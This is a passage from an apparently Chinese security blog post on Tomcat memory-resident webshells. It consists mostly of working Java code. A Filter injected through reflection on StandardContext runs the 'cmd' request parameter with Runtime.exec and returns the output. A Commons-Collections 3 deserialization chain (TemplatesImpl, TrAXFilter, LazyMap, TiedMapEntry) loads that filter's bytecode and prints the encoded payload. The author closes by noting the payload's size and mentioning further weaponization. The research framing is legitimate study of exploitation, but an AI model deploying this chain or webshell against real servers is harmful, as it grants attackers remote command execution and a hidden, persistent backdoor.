filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap=new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

java.lang.reflect.Field configsField=standardContext.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
java.util.Map filterconfigs=(java.util.Map)configsField.get(standardContext);

java.lang.reflect.Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig=(ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterconfigs.put(name, filterConfig);

}catch (Exception e){
e.printStackTrace();
}

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();

} catch (Exception e){
e.printStackTrace();
}
chain.doFilter(request, response);

}


}


@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void destroy() {

}
}


然后将上面这块的字节码塞入 TemplatesImpl 的 bytes 中,用于最后的 defineClass 进行字节码加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.New;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.net.URLEncoder;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3Re0 {

public static void main(String[] args) throws Exception {

TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();

Field nameFiled=tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

byte[] bytes= Files.readAllBytes(Paths.get("H://javasecurity/CC1/untitled/target/classes/org/New/shellfilter/Filtermemshell.class"));

Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= bytes;
byte[][] codes={code};
bytecodesField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

Transformer[] transformer=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer =new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapeEntry=new TiedMapEntry(lazymap,"aaa");

HashMap<Object,Object> hashMap= new HashMap<>();
hashMap.put(tiedMapeEntry,"bbb");
lazymap.remove("aaa");

Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

ByteArrayOutputStream byteArrayOutputStream=Serial(hashMap);
String payload= Base64Encode(byteArrayOutputStream);
//本地反序列化测试
// byte[] bytes2= Base64.getDecoder().decode(payload);
// ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes2));
// in.readObject();
// in.close();
}

private static ByteArrayOutputStream Serial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);

return bs;
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(URLEncoder.encode(s));
System.out.println(s.length());
return s;
}
}


单论整体的获取下来,总结 14000 多字节的 payload
image.png
很恐怖啊,所以后续的武器化利用时我会和 yyjccc 师傅讨论一下这一点。但这篇理论基础就到这了,希望能够帮到师傅们解决一些问题

参考

https://goodapple.top/archives/1355
https://boogipop.com/2023/03/02/Tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%85%A5Servlet%E5%86%85%E5%AD%98%E9%A9%AC
两位师傅的文章主要是用来对比 POC 以及大致思路的一个构造,文章逻辑和细节可能不太相同,但还是膜了(